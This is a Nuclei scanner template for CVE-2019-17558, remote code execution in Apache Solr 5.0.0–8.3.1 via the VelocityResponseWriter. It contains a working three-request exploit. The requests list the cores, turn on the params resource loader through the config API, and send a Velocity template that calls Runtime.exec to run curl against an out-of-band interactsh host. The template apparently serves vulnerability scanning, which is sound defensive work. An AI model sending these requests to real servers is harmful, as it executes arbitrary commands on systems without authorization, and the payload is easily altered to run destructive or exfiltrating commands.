id: CVE-2019-17558

info:
  name: Apache Solr <=8.3.1 - Remote Code Execution
  author: pikpikcu,madrobot
  severity: high
  description: Apache Solr versions 5.0.0 to 8.3.1 are vulnerable to remote code execution vulnerabilities through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/ directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting `params.resource.loader.enabled by defining a response writer with that setting set to `true`. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is `trusted` (has been uploaded by an authenticated user).
  reference:
    - https://issues.apache.org/jira/browse/SOLR-13971
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17558
    - https://lists.apache.org/thread.html/rb964fe5c4e3fc05f75e8f74bf6b885f456b7a7750c36e9a8045c627a@%3Cissues.lucene.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.5
    cve-id: CVE-2019-17558
    cwe-id: CWE-74
  tags: cve,cve2019,apache,rce,solr,oast,cisa

requests:
  - raw:
      - |
        GET /solr/admin/cores?wt=json HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /solr/{{core}}/config HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
            "update-queryresponsewriter": {
              "startup": "lazy",
              "name": "velocity",
              "class": "solr.VelocityResponseWriter",
              "template.base.dir": "",
              "solr.resource.loader.enabled": "true",
              "params.resource.loader.enabled": "true"
            }
        }

      - |
        GET /solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27curl%20http://{{interactsh-url}}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the HTTP Interaction
        words:
          - "http"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        internal: true
        name: core
        group: 1
        regex:
          - '"name"\:"(.*?)"'

# Enhanced by mp on 2022/04/27